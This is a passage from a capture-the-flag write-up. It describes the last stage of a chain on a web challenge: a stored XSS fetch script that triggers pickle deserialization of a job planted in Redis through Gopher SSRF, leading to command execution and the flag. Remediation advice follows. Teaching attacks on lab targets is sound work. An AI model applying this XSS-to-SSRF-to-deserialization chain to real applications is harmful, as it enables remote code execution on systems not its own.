<p>With the Redis cache poisoned, all we need to do is trigger the deserialization of the poisoned Redis cache and execute the injected payload. Returning to our original analysis for the deserialization, we can initiate a request to the <code class="language-plaintext highlighter-rouge">/admin/scrape/list</code> endpoint, passing the corresponding job ID <code class="language-plaintext highlighter-rouge">2813308004</code>! The initiated request will trigger the processing of the job by the worker, which will involve deserializing the payload and executing the commands within it.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">api</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/admin/scrape/&lt;int:job_id&gt;/status'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">])</span>
<span class="o">@</span><span class="n">login_required</span>
<span class="k">def</span> <span class="nf">job_status</span><span class="p">(</span><span class="n">job_id</span><span class="p">):</span>
    <span class="n">data</span> <span class="o">=</span> <span class="n">get_job_queue</span><span class="p">(</span><span class="n">job_id</span><span class="p">)</span> 

    <span class="k">if</span> <span class="ow">not</span> <span class="n">data</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'Job does not exist!'</span><span class="p">,</span> <span class="mi">401</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">Response</span><span class="p">(</span><span class="n">json</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">data</span><span class="p">),</span> <span class="n">mimetype</span><span class="o">=</span><span class="s">'application/json'</span><span class="p">)</span>
</code></pre></div></div>
<p><em><code class="language-plaintext highlighter-rouge">get_job_queue(job_id)</code> is the function that deserializes our payload; it’s triggered by the <code class="language-plaintext highlighter-rouge">job_status</code> method.</em></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&lt;</span><span class="n">script</span><span class="o">&gt;</span>
 <span class="n">fetch</span><span class="p">(</span><span class="s">'/api/admin/scrape/2813308004/status'</span><span class="p">,</span> <span class="p">{</span>
   <span class="n">method</span><span class="p">:</span> <span class="s">'GET'</span><span class="p">,</span>
  <span class="p">});</span>
<span class="o">&lt;/</span><span class="n">script</span><span class="o">&gt;</span>
</code></pre></div></div>
<p><em>Simple XSS to trigger our stored job from our original XSS, which poisoned the Redis cache.</em></p>

<p><img src="/img/Hacking_the_Modern_Stack/Untitled%2010.png" alt="The first highlighted line demonstrates that we are indeed session riding by successfully interacting with `/login` and then sending our `POST /api/login`. Since we can authenticate, we can tell `/api/admin/scrape` to grab our stored job `2813308004` that we set in our original stored XSS, which poisoned the Redis cache. Finally, we can see `/api/request-quote` executing our job. " />
<em>The first highlighted line demonstrates that we are indeed session riding by successfully interacting with <code class="language-plaintext highlighter-rouge">/login</code> and then sending our <code class="language-plaintext highlighter-rouge">POST /api/login</code>. Since we can authenticate, we can tell <code class="language-plaintext highlighter-rouge">/api/admin/scrape</code> to grab our stored job <code class="language-plaintext highlighter-rouge">2813308004</code> that we set in our original stored XSS, which poisoned the Redis cache. Finally, we can see <code class="language-plaintext highlighter-rouge">/api/request-quote</code> executing our job.</em></p>

<p><img src="/img/Hacking_the_Modern_Stack/Untitled%2011.png" alt="Webhook response from our `cmd` payload." />
<em>Webhook response from our <code class="language-plaintext highlighter-rouge">cmd</code> payload.</em></p>

<p>Grab the flag out of your webhook response and decode it! Good game! If you run the exploit chain on the CTF instance rather than your local instance, you can see the flag: <code class="language-plaintext highlighter-rouge">HTB{qu3u3d_my_w4y_1nto_rc3}</code>.</p>

<p><img src="/img/Hacking_the_Modern_Stack/Untitled%2012.png" alt="Untitled" /></p>

<h2 id="attempting-to-potentize-the-exploit">Attempting to Potentize the Exploit</h2>

<p>I failed to use XSS directly to insert the job into Redis; the browser cannot interact with the Gopher protocol. Please refer to the <a href="https://en.wikipedia.org/wiki/Gopher_(protocol)">Wikipedia section</a> of browsers that support the Gopher Protocol under “Client Software” &gt; “Gopher Clients.” The susceptible user must use an obscure Gopher extension for modern browsers.</p>

<ul>
  <li>My exploit utilizing SSRF isn’t as invasive; when the browser has set <code class="language-plaintext highlighter-rouge">windows.location</code>, the victim’s browser has been set to something they don’t expect. When the SSRF is in use, we make the user session appear that nothing happened; therefore, graphically, in the background, the victim wouldn’t understand that any exploitation has happened. This methodology is optimal for a red team operator.</li>
  <li>Also, as a red team operator, we don’t know if everyone has access to the Redis server, but we see that the web server needs to interact with the backend. SSRF guarantees that our interaction with the Redis server will be a success.</li>
</ul>

<h2 id="remediation-recommendations-">Remediation Recommendations <a name="remediation"></a></h2>

<h3 id="stored-cross-site-scripting-xss">Stored cross-site scripting (XSS)</h3>

<ol>
  <li>Removing the <code class="language-plaintext highlighter-rouge">| safe</code> filter and applying proper input sanitization and validation before displaying user-generated content is recommended to mitigate this vulnerability. It is crucial to ensure that user input is adequately escaping or sanitized to prevent cross-site scripting (XSS) attacks and maintain the application’s security.</li>
</ol>

<h3 id="redis-cache-poisoning">Redis Cache Poisoning</h3>

<ol>
  <li>Fixing at the source: the developer needs to filter on the destination, in this case, the URL., and look at the network location instance. The destination of requests should not be from localhost, a private address, or any hostname that resolves to a private address. If the destination is a domain name, we must also resolve the domain name to its IP address, then apply the same checks from the above sentence.</li>
  <li>Or a big hammer approach would be to enable authentication on the Redis backend.</li>
</ol>

<h3 id="insecure-deserialization">Insecure Deserialization</h3>

<ol>
  <li>Assuming that XSS and Redis cache poisoning is still in place, a cryptographic signature is required. The cryptographic signature uses a secret that only the server knows; this signature validates the stored data in Redis. During validation, if the stored data is present but is invalid because the secret key wasn’t known, the data should not be processed.</li>
  <li>Not applicable in this case, but in other languages, you would use a binder to validate user input; Python doesn’t support binders.</li>
</ol>

<h2 id="summary-">Summary <a name="summary"></a></h2>

<p>I did my job and won us the NEOCC CTF. 🏆</p>

<p>The most interesting aspects I found were researching the Gopher protocol and leveraging this retro protocol to exploit modern web application stacks like Redis!</p>

<p><strong>Thanks!</strong> Thanks to you, dear reader; I hope this walkthrough has given you some value. Since the CTF has concluded, I have provided a copy of the challenge and my solutions so you can follow along with this walkthrough. :-)</p>

<p><a href="https://github.com/DEFCESCO/blog.defcesco.io/raw/main/_posts/web_scrapeware.zip">web_scrapeware.zip</a></p>

<p>If you like this content, please consider subscribing to <a href="https://blog.defcesco.io/feed.xml">my RSS feed</a>.</p>]]></content><author><name>Austin A. DeFrancesco</name></author><summary type="html"><![CDATA[Table of Contents Conquering the Scrapeware Challenge and Securing Victory in the NEOCC CTF Recon &amp; Enumeration: Figuring Out How the Application Works Examining the Flow of Information into the Application: Understanding How Data Enters the System Exploring the Possibilities of Executing Arbitrary JavaScript as ADMIN Using Redis Gopher as the SSRF Mechanism to Cache Poison the Redis Cache Chaining Payloads: From Pickle Deserialization to Redis Cache Poisoning to Game Over Remediation Recommendations Summary]]></summary></entry></feed>